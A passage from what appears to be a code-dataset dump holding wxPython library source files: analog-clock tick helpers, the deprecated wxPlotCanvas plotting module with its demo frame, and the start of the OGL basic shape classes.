attr).RecalcCoords(size, centre, scale) \\\n for attr in [\"Face\", \"TicksH\", \"TicksM\"]]\n\n\n def GetTickSize(self, target):\n r = []\n for i, attr in enumerate([\"TicksH\", \"TicksM\"]):\n if _targets[i] & target:\n tick = getattr(self, attr)\n r.append(tick.GetSize())\n return tuple(r)\n\n\n def GetTickFillColour(self, target):\n r = []\n for i, attr in enumerate([\"TicksH\", \"TicksM\"]):\n if _targets[i] & target:\n tick = getattr(self, attr)\n r.append(tick.GetFillColour())\n return tuple(r)\n\n\n def GetTickBorderColour(self, target):\n r = []\n for i, attr in enumerate([\"TicksH\", \"TicksM\"]):\n if _targets[i] & target:\n tick = getattr(self, attr)\n r.append(tick.GetBorderColour())\n return tuple(r)\n\n\n def GetTickBorderWidth(self, target):\n r = []\n for i, attr in enumerate([\"TicksH\", \"TicksM\"]):\n if _targets[i] & target:\n tick = getattr(self, attr)\n r.append(tick.GetBorderWidth())\n return tuple(r)\n\n\n def GetTickPolygon(self, target):\n r = []\n for i, attr in enumerate([\"TicksH\", \"TicksM\"]):\n if _targets[i] & target:\n tick = getattr(self, attr)\n r.append(tick.GetPolygon())\n return tuple(r)\n\n\n def GetTickFont(self, target):\n r = []\n for i, attr in enumerate([\"TicksH\", \"TicksM\"]):\n if _targets[i] & target:\n tick = getattr(self, attr)\n r.append(tick.GetFont())\n return tuple(r)\n\n\n def GetIsRotated(self):\n a_tickset = self.TicksH\n return a_tickset.GetIsRotated()\n\n\n def GetTickOffset(self, target):\n r = []\n for i, attr in enumerate([\"TicksH\", \"TicksM\"]):\n if _targets[i] & target:\n tick = getattr(self, attr)\n r.append(tick.GetOffset())\n return tuple(r)\n\n\n def GetShadowColour(self):\n a_tickset = self.TicksH\n return a_tickset.GetShadowColour()\n\n\n def GetTickStyle(self, target):\n r = []\n for i, attr in enumerate([\"TicksH\", \"TicksM\"]):\n if _targets[i] & target:\n tick = getattr(self, attr)\n r.append(tick.GetStyle())\n return tuple(r)\n\n\n def SetTickSize(self, size, target):\n for i, attr in enumerate([\"TicksH\", \"TicksM\"]):\n if _targets[i] & target:\n tick = getattr(self, attr)\n tick.SetSize(size)\n\n\n def SetTickFillColour(self, colour, target):\n for i, attr in enumerate([\"TicksH\", \"TicksM\"]):\n if _targets[i] & target:\n tick = getattr(self, attr)\n tick.SetFillColour(colour)\n\n\n def SetTickBorderColour(self, colour, target):\n for i, attr in enumerate([\"TicksH\", \"TicksM\"]):\n if _targets[i] & target:\n tick = getattr(self, attr)\n tick.SetBorderColour(colour)\n\n\n def SetTickBorderWidth(self, width, target):\n for i, attr in enumerate([\"TicksH\", \"TicksM\"]):\n if _targets[i] & target:\n tick = getattr(self, attr)\n tick.SetBorderWidth(width)\n\n\n def SetTickPolygon(self, polygon, target):\n for i, attr in enumerate([\"TicksH\", \"TicksM\"]):\n if _targets[i] & target:\n tick = getattr(self, attr)\n tick.SetPolygon(polygon)\n\n\n def SetTickFont(self, font, target):\n fs = font.GetNativeFontInfoDesc()\n for i, attr in enumerate([\"TicksH\", \"TicksM\"]):\n if _targets[i] & target:\n tick = getattr(self, attr)\n tick.SetFont(wx.FontFromNativeInfoString(fs))\n\n\n def SetIsRotated(self, rotate):\n [getattr(self, attr).SetIsRotated(rotate) \\\n for attr in [\"TicksH\", \"TicksM\"]]\n\n\n def SetTickOffset(self, offset, target):\n for i, attr in enumerate([\"TicksH\", \"TicksM\"]):\n if _targets[i] & target:\n tick = getattr(self, attr)\n tick.SetOffset(offset)\n\n\n def SetShadowColour(self, colour):\n for attr in [\"TicksH\", \"TicksM\"]:\n tick = getattr(self, attr)\n tick.SetShadowColour(colour)\n\n\n def SetTickStyle(self, style, target):\n for i, attr in enumerate([\"TicksH\", \"TicksM\"]):\n if _targets[i] & target:\n tick = getattr(self, attr)\n tick.SetStyle(style)\n\n#----------------------------------------------------------------------\n\n# Relationship between styles and ticks class names.\nallTickStyles = {TICKS_BINARY: TickBinary,\n TICKS_CIRCLE: TickCircle,\n TICKS_DECIMAL: TickDecimal,\n TICKS_HEX: TickHex,\n TICKS_NONE: TickNone,\n TICKS_POLY: TickPoly,\n TICKS_ROMAN: TickRoman,\n TICKS_SQUARE: TickSquare}\n\n\n#\n##\n### eof\n", "id": "2780833", "language": "Python", "matching_score": 2.8849456310272217, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/analogclock/helpers.py" }, { "content": "\"\"\"\nThis is a port of <NAME>'s tkPlotCanvas.py plotting module.\nAfter thinking long and hard I came up with the name \"wxPlotCanvas.py\".\n\nThis file contains two parts; first the re-usable library stuff, then, after\na \"if __name__=='__main__'\" test, a simple frame and a few default plots\nfor testing.\n\n<NAME>, feb 1999\n\nOriginal comment follows below:\n# This module defines a plot widget for Tk user interfaces.\n# It supports only elementary line plots at the moment.\n# See the example at the end for documentation...\n#\n# Written by <NAME> <<EMAIL>>\n# With contributions from <NAME> <<EMAIL>>\n# Last revision: 1998-7-28\n#\n\"\"\"\n# 12/13/2003 - <NAME> (<EMAIL>)\n#\n# o Updated for V2.5 compatability\n# o wx.SpinCtl has some issues that cause the control to\n# lock up. Noted in other places using it too, it's not this module\n# that's at fault.\n# o Added deprecation warning.\n# \n\nimport warnings\nimport wx\n\nwarningmsg = r\"\"\"\\\n\nTHIS MODULE IS NOW DEPRECATED\n\nThis module has been replaced by wxPyPlot, which in wxPython\ncan be found in wx.lib.plot.py.\n\n\"\"\"\n\nwarnings.warn(warningmsg, DeprecationWarning, stacklevel=2)\n\n# Not everybody will have Numeric, so let's be cool about it...\ntry:\n import Numeric\nexcept:\n # bummer!\n msg = \"\"\"This module requires the Numeric module, which could not be\nimported. It probably is not installed (it's not part of the standard\nPython distribution). See the Python site (http://www.python.org) for\ninformation on downloading source or binaries.\"\"\"\n\n print msg\n if wx.Platform == '__WXMSW__' and wx.GetApp() is not None:\n d = wx.MessageDialog(None, msg, \"Numeric not found\")\n if d.ShowModal() == wx.ID_CANCEL:\n d = wx.MessageDialog(None, \"I kid you not! Pressing Cancel won't help you!\", \"Not a joke\", wx.OK)\n d.ShowModal()\n raise\n\n#\n# Plotting classes...\n#\nclass PolyPoints:\n\n def __init__(self, points, attr):\n self.points = Numeric.array(points)\n self.scaled = self.points\n self.attributes = {}\n for name, value in self._attributes.items():\n try:\n value = attr[name]\n except KeyError: pass\n self.attributes[name] = value\n\n def boundingBox(self):\n return Numeric.minimum.reduce(self.points), \\\n Numeric.maximum.reduce(self.points)\n\n def scaleAndShift(self, scale=1, shift=0):\n self.scaled = scale*self.points+shift\n\n\nclass PolyLine(PolyPoints):\n\n def __init__(self, points, **attr):\n PolyPoints.__init__(self, points, attr)\n\n _attributes = {'color': 'black',\n 'width': 1}\n\n def draw(self, dc):\n color = self.attributes['color']\n width = self.attributes['width']\n arguments = []\n dc.SetPen(wx.Pen(wx.NamedColour(color), width))\n dc.DrawLines(map(tuple,self.scaled))\n\n\nclass PolyMarker(PolyPoints):\n\n def __init__(self, points, **attr):\n\n PolyPoints.__init__(self, points, attr)\n\n _attributes = {'color': 'black',\n 'width': 1,\n 'fillcolor': None,\n 'size': 2,\n 'fillstyle': wx.SOLID,\n 'outline': 'black',\n 'marker': 'circle'}\n\n def draw(self, dc):\n color = self.attributes['color']\n width = self.attributes['width']\n size = self.attributes['size']\n fillcolor = self.attributes['fillcolor']\n fillstyle = self.attributes['fillstyle']\n marker = self.attributes['marker']\n\n dc.SetPen(wx.Pen(wx.NamedColour(color),width))\n if fillcolor:\n dc.SetBrush(wx.Brush(wx.NamedColour(fillcolor),fillstyle))\n else:\n dc.SetBrush(wx.Brush(wx.NamedColour('black'), wx.TRANSPARENT))\n\n self._drawmarkers(dc, self.scaled, marker, size)\n\n def _drawmarkers(self, dc, coords, marker,size=1):\n f = eval('self._' +marker)\n for xc, yc in coords:\n f(dc, xc, yc, size)\n\n def _circle(self, dc, xc, yc, size=1):\n dc.DrawEllipse(xc-2.5*size,yc-2.5*size, 5.*size,5.*size)\n\n def _dot(self, dc, xc, yc, size=1):\n dc.DrawPoint(xc,yc)\n\n def _square(self, dc, xc, yc, size=1):\n dc.DrawRectangle(xc-2.5*size,yc-2.5*size,5.*size,5.*size)\n\n def _triangle(self, dc, xc, yc, size=1):\n dc.DrawPolygon([(-0.5*size*5,0.2886751*size*5),\n (0.5*size*5,0.2886751*size*5),\n (0.0,-0.577350*size*5)],xc,yc)\n\n def _triangle_down(self, dc, xc, yc, size=1):\n dc.DrawPolygon([(-0.5*size*5,-0.2886751*size*5),\n (0.5*size*5,-0.2886751*size*5),\n (0.0,0.577350*size*5)],xc,yc)\n\n def _cross(self, dc, xc, yc, size=1):\n dc.DrawLine(xc-2.5*size, yc-2.5*size, xc+2.5*size,yc+2.5*size)\n dc.DrawLine(xc-2.5*size,yc+2.5*size, xc+2.5*size,yc-2.5*size)\n\n def _plus(self, dc, xc, yc, size=1):\n dc.DrawLine(xc-2.5*size,yc, xc+2.5*size,yc)\n dc.DrawLine(xc,yc-2.5*size,xc, yc+2.5*size)\n\nclass PlotGraphics:\n\n def __init__(self, objects):\n self.objects = objects\n\n def boundingBox(self):\n p1, p2 = self.objects[0].boundingBox()\n for o in self.objects[1:]:\n p1o, p2o = o.boundingBox()\n p1 = Numeric.minimum(p1, p1o)\n p2 = Numeric.maximum(p2, p2o)\n return p1, p2\n\n def scaleAndShift(self, scale=1, shift=0):\n for o in self.objects:\n o.scaleAndShift(scale, shift)\n\n def draw(self, canvas):\n for o in self.objects:\n o.draw(canvas)\n\n def __len__(self):\n return len(self.objects)\n\n def __getitem__(self, item):\n return self.objects[item]\n\n\nclass PlotCanvas(wx.Window):\n\n def __init__(self, parent, id=-1,\n pos = wx.DefaultPosition, size = wx.DefaultSize,\n style = 0, name = 'plotCanvas'):\n wx.Window.__init__(self, parent, id, pos, size, style, name)\n self.border = (1,1)\n self.SetClientSize((400,400))\n self.SetBackgroundColour(\"white\")\n\n self.Bind(wx.EVT_SIZE,self.reconfigure)\n self.Bind(wx.EVT_PAINT, self.OnPaint)\n self._setsize()\n self.last_draw = None\n# self.font = self._testFont(font)\n\n def OnPaint(self, event):\n pdc = wx.PaintDC(self)\n if self.last_draw is not None:\n apply(self.draw, self.last_draw + (pdc,))\n\n def reconfigure(self, event):\n (new_width,new_height) = self.GetClientSize()\n if new_width == self.width and new_height == self.height:\n return\n self._setsize()\n # self.redraw()\n\n def _testFont(self, font):\n if font is not None:\n bg = self.canvas.cget('background')\n try:\n item = CanvasText(self.canvas, 0, 0, anchor=NW,\n text='0', fill=bg, font=font)\n self.canvas.delete(item)\n except TclError:\n font = None\n return font\n\n def _setsize(self):\n (self.width,self.height) = self.GetClientSize();\n self.plotbox_size = 0.97*Numeric.array([self.width, -self.height])\n xo = 0.5*(self.width-self.plotbox_size[0])\n yo = self.height-0.5*(self.height+self.plotbox_size[1])\n self.plotbox_origin = Numeric.array([xo, yo])\n\n def draw(self, graphics, xaxis = None, yaxis = None, dc = None):\n if dc == None: dc = wx.ClientDC(self)\n dc.BeginDrawing()\n dc.Clear()\n self.last_draw = (graphics, xaxis, yaxis)\n p1, p2 = graphics.boundingBox()\n xaxis = self._axisInterval(xaxis, p1[0], p2[0])\n yaxis = self._axisInterval(yaxis, p1[1], p2[1])\n text_width = [0., 0.]\n text_height = [0., 0.]\n if xaxis is not None:\n p1[0] = xaxis[0]\n p2[0] = xaxis[1]\n xticks = self._ticks(xaxis[0], xaxis[1])\n bb = dc.GetTextExtent(xticks[0][1])\n text_height[1] = bb[1]\n text_width[0] = 0.5*bb[0]\n bb = dc.GetTextExtent(xticks[-1][1])\n text_width[1] = 0.5*bb[0]\n else:\n xticks = None\n if yaxis is not None:\n p1[1] = yaxis[0]\n p2[1] = yaxis[1]\n yticks = self._ticks(yaxis[0], yaxis[1])\n for y in yticks:\n bb = dc.GetTextExtent(y[1])\n text_width[0] = max(text_width[0],bb[0])\n h = 0.5*bb[1]\n text_height[0] = h\n text_height[1] = max(text_height[1], h)\n else:\n yticks = None\n text1 = Numeric.array([text_width[0], -text_height[1]])\n text2 = Numeric.array([text_width[1], -text_height[0]])\n scale = (self.plotbox_size-text1-text2) / (p2-p1)\n shift = -p1*scale + self.plotbox_origin + text1\n self._drawAxes(dc, xaxis, yaxis, p1, p2,\n scale, shift, xticks, yticks)\n graphics.scaleAndShift(scale, shift)\n graphics.draw(dc)\n dc.EndDrawing()\n\n def _axisInterval(self, spec, lower, upper):\n if spec is None:\n return None\n if spec == 'minimal':\n if lower == upper:\n return lower-0.5, upper+0.5\n else:\n return lower, upper\n if spec == 'automatic':\n range = upper-lower\n if range == 0.:\n return lower-0.5, upper+0.5\n log = Numeric.log10(range)\n power = Numeric.floor(log)\n fraction = log-power\n if fraction <= 0.05:\n power = power-1\n grid = 10.**power\n lower = lower - lower % grid\n mod = upper % grid\n if mod != 0:\n upper = upper - mod + grid\n return lower, upper\n if type(spec) == type(()):\n lower, upper = spec\n if lower <= upper:\n return lower, upper\n else:\n return upper, lower\n raise ValueError, str(spec) + ': illegal axis specification'\n\n def _drawAxes(self, dc, xaxis, yaxis,\n bb1, bb2, scale, shift, xticks, yticks):\n dc.SetPen(wx.Pen(wx.NamedColour('BLACK'),1))\n if xaxis is not None:\n lower, upper = xaxis\n text = 1\n for y, d in [(bb1[1], -3), (bb2[1], 3)]:\n p1 = scale*Numeric.array([lower, y])+shift\n p2 = scale*Numeric.array([upper, y])+shift\n dc.DrawLine(p1[0],p1[1], p2[0],p2[1])\n for x, label in xticks:\n p = scale*Numeric.array([x, y])+shift\n dc.DrawLine(p[0],p[1], p[0],p[1]+d)\n if text:\n dc.DrawText(label, p[0],p[1])\n text = 0\n\n if yaxis is not None:\n lower, upper = yaxis\n text = 1\n h = dc.GetCharHeight()\n for x, d in [(bb1[0], -3), (bb2[0], 3)]:\n p1 = scale*Numeric.array([x, lower])+shift\n p2 = scale*Numeric.array([x, upper])+shift\n dc.DrawLine(p1[0],p1[1], p2[0],p2[1])\n for y, label in yticks:\n p = scale*Numeric.array([x, y])+shift\n dc.DrawLine(p[0],p[1], p[0]-d,p[1])\n if text:\n dc.DrawText(label, \n p[0]-dc.GetTextExtent(label)[0], p[1]-0.5*h)\n text = 0\n\n def _ticks(self, lower, upper):\n ideal = (upper-lower)/7.\n log = Numeric.log10(ideal)\n power = Numeric.floor(log)\n fraction = log-power\n factor = 1.\n error = fraction\n for f, lf in self._multiples:\n e = Numeric.fabs(fraction-lf)\n if e < error:\n error = e\n factor = f\n grid = factor * 10.**power\n if power > 3 or power < -3:\n format = '%+7.0e'\n elif power >= 0:\n digits = max(1, int(power))\n format = '%' + `digits`+'.0f'\n else:\n digits = -int(power)\n format = '%'+`digits+2`+'.'+`digits`+'f'\n ticks = []\n t = -grid*Numeric.floor(-lower/grid)\n while t <= upper:\n ticks.append( (t, format % (t,)) )\n t = t + grid\n return ticks\n\n _multiples = [(2., Numeric.log10(2.)), (5., Numeric.log10(5.))]\n\n def redraw(self,dc=None):\n if self.last_draw is not None:\n apply(self.draw, self.last_draw + (dc,))\n\n def clear(self):\n self.canvas.delete('all')\n\n#---------------------------------------------------------------------------\n# if running standalone...\n#\n# ...a sample implementation using the above\n#\n\n\nif __name__ == '__main__':\n def _InitObjects():\n # 100 points sin function, plotted as green circles\n data1 = 2.*Numeric.pi*Numeric.arange(200)/200.\n data1.shape = (100, 2)\n data1[:,1] = Numeric.sin(data1[:,0])\n markers1 = PolyMarker(data1, color='green', marker='circle',size=1)\n\n # 50 points cos function, plotted as red line\n data1 = 2.*Numeric.pi*Numeric.arange(100)/100.\n data1.shape = (50,2)\n data1[:,1] = Numeric.cos(data1[:,0])\n lines = PolyLine(data1, color='red')\n\n # A few more points...\n pi = Numeric.pi\n markers2 = PolyMarker([(0., 0.), (pi/4., 1.), (pi/2, 0.),\n (3.*pi/4., -1)], color='blue',\n fillcolor='green', marker='cross')\n\n return PlotGraphics([markers1, lines, markers2])\n\n\n class AppFrame(wx.Frame):\n def __init__(self, parent, id, title):\n wx.Frame.__init__(self, parent, id, title,\n wx.DefaultPosition, (400, 400))\n\n # Now Create the menu bar and items\n self.mainmenu = wx.MenuBar()\n\n menu = wx.Menu()\n menu.Append(200, '&Print...', 'Print the current plot')\n self.Bind(wx.EVT_MENU, self.OnFilePrint, id=200)\n menu.Append(209, 'E&xit', 'Enough of this already!')\n self.Bind(wx.EVT_MENU, self.OnFileExit, id=209)\n self.mainmenu.Append(menu, '&File')\n\n menu = wx.Menu()\n menu.Append(210, '&Draw', 'Draw plots')\n self.Bind(wx.EVT_MENU,self.OnPlotDraw, id=210)\n menu.Append(211, '&Redraw', 'Redraw plots')\n self.Bind(wx.EVT_MENU,self.OnPlotRedraw, id=211)\n menu.Append(212, '&Clear', 'Clear canvas')\n self.Bind(wx.EVT_MENU,self.OnPlotClear, id=212)\n self.mainmenu.Append(menu, '&Plot')\n\n menu = wx.Menu()\n menu.Append(220, '&About', 'About this thing...')\n self.Bind(wx.EVT_MENU, self.OnHelpAbout, id=220)\n self.mainmenu.Append(menu, '&Help')\n\n self.SetMenuBar(self.mainmenu)\n\n # A status bar to tell people what's happening\n self.CreateStatusBar(1)\n\n self.client = PlotCanvas(self)\n\n def OnFilePrint(self, event):\n d = wx.MessageDialog(self,\n\"\"\"As of this writing, printing support in wxPython is shaky at best.\nAre you sure you want to do this?\"\"\", \"Danger!\", wx.YES_NO)\n if d.ShowModal() == wx.ID_YES:\n psdc = wx.PostScriptDC(\"out.ps\", True, self)\n self.client.redraw(psdc)\n\n def OnFileExit(self, event):\n self.Close()\n\n def OnPlotDraw(self, event):\n self.client.draw(_InitObjects(),'automatic','automatic');\n\n def OnPlotRedraw(self,event):\n self.client.redraw()\n\n def OnPlotClear(self,event):\n self.client.last_draw = None\n dc = wx.ClientDC(self.client)\n dc.Clear()\n\n def OnHelpAbout(self, event):\n about = wx.MessageDialog(self, __doc__, \"About...\", wx.OK)\n about.ShowModal()\n\n\n\n class MyApp(wx.App):\n def OnInit(self):\n frame = AppFrame(None, -1, \"wxPlotCanvas\")\n frame.Show(True)\n self.SetTopWindow(frame)\n return True\n\n\n app = MyApp(0)\n app.MainLoop()\n\n\n\n\n#----------------------------------------------------------------------------\n", "id": "11511447", "language": "Python", "matching_score": 2.2132692337036133, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/wxPlotCanvas.py" }, { "content": "# -*- coding: utf-8 -*-\n#----------------------------------------------------------------------------\n# Name: basic.py\n# Purpose: The basic OGL shapes\n#\n# Author: <NAME> (from C++ original by <NAME>)\n#\n# Created: 2004-05-08\n# RCS-ID: $Id: _basic.py 67534 2011-04-18 20:52:13Z RD $\n# Copyright: (c) 2004 <NAME> - 1998 <NAME>\n# Licence: wxWindows license\n#----------------------------------------------------------------------------\n\nimport wx\nimport math\n\nfrom _oglmisc import *\n\nDragOffsetX = 0.0\nDragOffsetY = 0.0\n\ndef OGLInitialize():\n global WhiteBackgroundPen, WhiteBackgroundBrush, TransparentPen\n global BlackForegroundPen, NormalFont\n \n WhiteBackgroundPen = wx.Pen(wx.WHITE, 1, wx.SOLID)\n WhiteBackgroundBrush = wx.Brush(wx.WHITE, wx.SOLID)\n\n TransparentPen = wx.Pen(wx.WHITE, 1, wx.TRANSPARENT)\n BlackForegroundPen = wx.Pen(wx.BLACK, 1, wx.SOLID)\n\n NormalFont = wx.Font(10, wx.SWISS, wx.NORMAL, wx.NORMAL)\n\n\ndef OGLCleanUp():\n pass\n\n\nclass ShapeTextLine(object):\n def __init__(self, the_x, the_y, the_line):\n self._x = the_x\n self._y = the_y\n self._line = the_line\n\n def GetX(self):\n return self._x\n\n def GetY(self):\n return self._y\n\n def SetX(self, x):\n self._x = x\n\n def SetY(self, y):\n self._y = y\n\n def SetText(self, text):\n self._line = text\n\n def GetText(self):\n return self._line\n\n\n \nclass ShapeEvtHandler(object):\n def __init__(self, prev = None, shape = None):\n self._previousHandler = prev\n self._handlerShape = shape\n\n def SetShape(self, sh):\n self._handlerShape = sh\n\n def GetShape(self):\n return self._handlerShape\n\n def SetPreviousHandler(self, handler):\n self._previousHandler = handler\n\n def GetPreviousHandler(self):\n return self._previousHandler\n\n def OnDelete(self):\n if self!=self.GetShape():\n del self\n \n def OnDraw(self, dc):\n if self._previousHandler:\n self._previousHandler.OnDraw(dc)\n\n def OnMoveLinks(self, dc):\n if self._previousHandler:\n self._previousHandler.OnMoveLinks(dc)\n \n def OnMoveLink(self, dc, moveControlPoints = True):\n if self._previousHandler:\n self._previousHandler.OnMoveLink(dc, moveControlPoints)\n \n def OnDrawContents(self, dc):\n if self._previousHandler:\n self._previousHandler.OnDrawContents(dc)\n \n def OnDrawBranches(self, dc, erase = False):\n if self._previousHandler:\n self._previousHandler.OnDrawBranches(dc, erase = erase)\n\n def OnSize(self, x, y):\n if self._previousHandler:\n self._previousHandler.OnSize(x, y)\n \n def OnMovePre(self, dc, x, y, old_x, old_y, display = True):\n if self._previousHandler:\n return self._previousHandler.OnMovePre(dc, x, y, old_x, old_y, display)\n else:\n return True\n\n def OnMovePost(self, dc, x, y, old_x, old_y, display = True):\n if self._previousHandler:\n return self._previousHandler.OnMovePost(dc, x, y, old_x, old_y, display)\n else:\n return True\n\n def OnErase(self, dc):\n if self._previousHandler:\n self._previousHandler.OnErase(dc)\n\n def OnEraseContents(self, dc):\n if self._previousHandler:\n self._previousHandler.OnEraseContents(dc)\n\n def OnHighlight(self, dc):\n if self._previousHandler:\n self._previousHandler.OnHighlight(dc)\n\n def OnLeftClick(self, x, y, keys, attachment):\n if self._previousHandler:\n self._previousHandler.OnLeftClick(x, y, keys, attachment)\n \n def OnLeftDoubleClick(self, x, y, keys = 0, attachment = 0):\n if self._previousHandler:\n self._previousHandler.OnLeftDoubleClick(x, y, keys, attachment)\n\n def OnRightClick(self, x, y, keys = 0, attachment = 0):\n if self._previousHandler:\n self._previousHandler.OnRightClick(x, y, keys, attachment)\n\n def OnDragLeft(self, draw, x, y, keys = 0, attachment = 0):\n if self._previousHandler:\n self._previousHandler.OnDragLeft(draw, x, y, keys, attachment)\n\n def OnBeginDragLeft(self, x, y, keys = 0, attachment = 0):\n if self._previousHandler:\n self._previousHandler.OnBeginDragLeft(x, y, keys, attachment)\n\n def OnEndDragLeft(self, x, y, keys = 0, attachment = 0):\n if self._previousHandler:\n self._previousHandler.OnEndDragLeft(x, y, keys, attachment)\n \n def OnDragRight(self, draw, x, y, keys = 0, attachment = 0):\n if self._previousHandler:\n self._previousHandler.OnDragRight(draw, x, y, keys, attachment)\n\n def OnBeginDragRight(self, x, y, keys = 0, attachment = 0):\n if self._previousHandler:\n self._previousHandler.OnBeginDragRight(x, y, keys, attachment)\n\n def OnEndDragRight(self, x, y, keys = 0, attachment = 0):\n if self._previousHandler:\n self._previousHandler.OnEndDragRight(x, y, keys, attachment)\n\n # Control points ('handles') redirect control to the actual shape,\n # to make it easier to override sizing behaviour.\n def OnSizingDragLeft(self, pt, draw, x, y, keys = 0, attachment = 0):\n if self._previousHandler:\n self._previousHandler.OnSizingDragLeft(pt, draw, x, y, keys, attachment)\n\n def OnSizingBeginDragLeft(self, pt, x, y, keys = 0, attachment = 0):\n if self._previousHandler:\n self._previousHandler.OnSizingBeginDragLeft(pt, x, y, keys, attachment)\n \n def OnSizingEndDragLeft(self, pt, x, y, keys = 0, attachment = 0):\n if self._previousHandler:\n self._previousHandler.OnSizingEndDragLeft(pt, x, y, keys, attachment)\n\n def OnBeginSize(self, w, h):\n pass\n \n def OnEndSize(self, w, h):\n pass\n \n def OnDrawOutline(self, dc, x, y, w, h):\n if self._previousHandler:\n self._previousHandler.OnDrawOutline(dc, x, y, w, h)\n\n def OnDrawControlPoints(self, dc):\n if self._previousHandler:\n self._previousHandler.OnDrawControlPoints(dc)\n\n def OnEraseControlPoints(self, dc):\n if self._previousHandler:\n self._previousHandler.OnEraseControlPoints(dc)\n\n # Can override this to prevent or intercept line reordering.\n def OnChangeAttachment(self, attachment, line, ordering):\n if self._previousHandler:\n self._previousHandler.OnChangeAttachment(attachment, line, ordering)\n\n\n \nclass Shape(ShapeEvtHandler):\n \"\"\"OGL base class\n\n Shape(canvas = None)\n \n The wxShape is the top-level, abstract object that all other objects\n are derived from. All common functionality is represented by wxShape's\n members, and overriden members that appear in derived classes and have\n behaviour as documented for wxShape, are not documented separately.\n \"\"\"\n \n GraphicsInSizeToContents = False\n \n def __init__(self, canvas = None):\n ShapeEvtHandler.__init__(self)\n \n self._eventHandler = self\n self.SetShape(self)\n self._id = 0\n self._formatted = False\n self._canvas = canvas\n self._xpos = 0.0\n self._ypos = 0.0\n self._pen = BlackForegroundPen\n self._brush = wx.WHITE_BRUSH\n self._font = NormalFont\n self._textColour = wx.BLACK\n self._textColourName = wx.BLACK\n self._visible = False\n self._selected = False\n self._attachmentMode = ATTACHMENT_MODE_NONE\n self._spaceAttachments = True\n self._disableLabel = False\n self._fixedWidth = False\n self._fixedHeight = False\n self._drawHandles = True\n self._sensitivity = OP_ALL\n self._draggable = True\n self._parent = None\n self._formatMode = FORMAT_CENTRE_HORIZ | FORMAT_CENTRE_VERT\n self._shadowMode = SHADOW_NONE\n self._shadowOffsetX = 6\n self._shadowOffsetY = 6\n self._shadowBrush = wx.BLACK_BRUSH\n self._textMarginX = 5\n self._textMarginY = 5\n self._regionName = \"0\"\n self._centreResize = True\n self._maintainAspectRatio = False\n self._highlighted = False\n self._rotation = 0.0\n self._branchNeckLength = 10\n self._branchStemLength = 10\n self._branchSpacing = 10\n self._branchStyle = BRANCHING_ATTACHMENT_NORMAL\n \n self._regions = []\n self._lines = []\n self._controlPoints = []\n self._attachmentPoints = []\n self._text = []\n self._children = []\n \n # Set up a default region. Much of the above will be put into\n # the region eventually (the duplication is for compatibility)\n region = ShapeRegion()\n region.SetName(\"0\")\n region.SetFont(NormalFont)\n region.SetFormatMode(FORMAT_CENTRE_HORIZ | FORMAT_CENTRE_VERT)\n region.SetColour(\"BLACK\")\n self._regions.append(region)\n\n def __str__(self):\n return \"<%s.%s>\" % (self.__class__.__module__, self.__class__.__name__)\n\n def GetClassName(self):\n return str(self.__class__).split(\".\")[-1][:-2]\n\n def Delete(self):\n \"\"\"\n Fully disconnect this shape from parents, children, the\n canvas, etc.\n \"\"\"\n if self._parent:\n self._parent.GetChildren().remove(self)\n\n for child in self.GetChildren():\n child.Delete()\n\n self.ClearText()\n self.ClearRegions()\n self.ClearAttachments()\n\n self._handlerShape = None\n \n if self._canvas:\n self.RemoveFromCanvas(self._canvas)\n\n if self.GetEventHandler():\n self.GetEventHandler().OnDelete()\n self._eventHandler = None\n \n def Draggable(self):\n \"\"\"TRUE if the shape may be dragged by the user.\"\"\"\n return True\n \n def SetShape(self, sh):\n self._handlerShape = sh\n\n def GetCanvas(self):\n \"\"\"Get the internal canvas.\"\"\"\n return self._canvas\n\n def GetBranchStyle(self):\n return self._branchStyle\n\n def GetRotation(self):\n \"\"\"Return the angle of rotation in radians.\"\"\"\n return self._rotation\n\n def SetRotation(self, rotation):\n self._rotation = rotation\n \n def SetHighlight(self, hi, recurse = False):\n \"\"\"Set the highlight for a shape. Shape highlighting is unimplemented.\"\"\"\n self._highlighted = hi\n if recurse:\n for shape in self._children:\n shape.SetHighlight(hi, recurse)\n\n def SetSensitivityFilter(self, sens = OP_ALL, recursive = False):\n \"\"\"Set the shape to be sensitive or insensitive to specific mouse\n operations.\n\n sens is a bitlist of the following:\n\n * OP_CLICK_LEFT\n * OP_CLICK_RIGHT\n * OP_DRAG_LEFT\n * OP_DRAG_RIGHT\n * OP_ALL (equivalent to a combination of all the above).\n \"\"\"\n self._draggable = sens & OP_DRAG_LEFT\n\n self._sensitivity = sens\n if recursive:\n for shape in self._children:\n shape.SetSensitivityFilter(sens, True)\n\n def SetDraggable(self, drag, recursive = False):\n \"\"\"Set the shape to be draggable or not draggable.\"\"\"\n self._draggable = drag\n if drag:\n self._sensitivity |= OP_DRAG_LEFT\n elif self._sensitivity & OP_DRAG_LEFT:\n self._sensitivity -= OP_DRAG_LEFT\n\n if recursive:\n for shape in self._children:\n shape.SetDraggable(drag, True)\n\n def SetDrawHandles(self, drawH):\n \"\"\"Set the drawHandles flag for this shape and all descendants.\n If drawH is TRUE (the default), any handles (control points) will\n be drawn. Otherwise, the handles will not be drawn.\n \"\"\"\n self._drawHandles = drawH\n for shape in self._children:\n shape.SetDrawHandles(drawH)\n\n def SetShadowMode(self, mode, redraw = False):\n \"\"\"Set the shadow mode (whether a shadow is drawn or not).\n mode can be one of the following:\n\n SHADOW_NONE\n No shadow (the default). \n SHADOW_LEFT\n Shadow on the left side. \n SHADOW_RIGHT\n Shadow on the right side.\n \"\"\"\n if redraw and self.GetCanvas():\n dc = wx.ClientDC(self.GetCanvas())\n self.GetCanvas().PrepareDC(dc)\n self.Erase(dc)\n self._shadowMode = mode\n self.Draw(dc)\n else:\n self._shadowMode = mode\n\n def GetShadowMode(self):\n \"\"\"Return the current shadow mode setting\"\"\"\n return self._shadowMode\n\n def SetCanvas(self, theCanvas):\n \"\"\"Identical to Shape.Attach.\"\"\"\n self._canvas = theCanvas\n for shape in self._children:\n shape.SetCanvas(theCanvas)\n\n def AddToCanvas(self, theCanvas, addAfter = None):\n \"\"\"Add the shape to the canvas's shape list.\n If addAfter is non-NULL, will add the shape after this one.\n \"\"\"\n theCanvas.AddShape(self, addAfter)\n\n lastImage = self\n for object in self._children:\n object.AddToCanvas(theCanvas, lastImage)\n lastImage = object\n\n def InsertInCanvas(self, theCanvas):\n \"\"\"Insert the shape at the front of the shape list of canvas.\"\"\"\n theCanvas.InsertShape(self)\n\n lastImage = self\n for object in self._children:\n object.AddToCanvas(theCanvas, 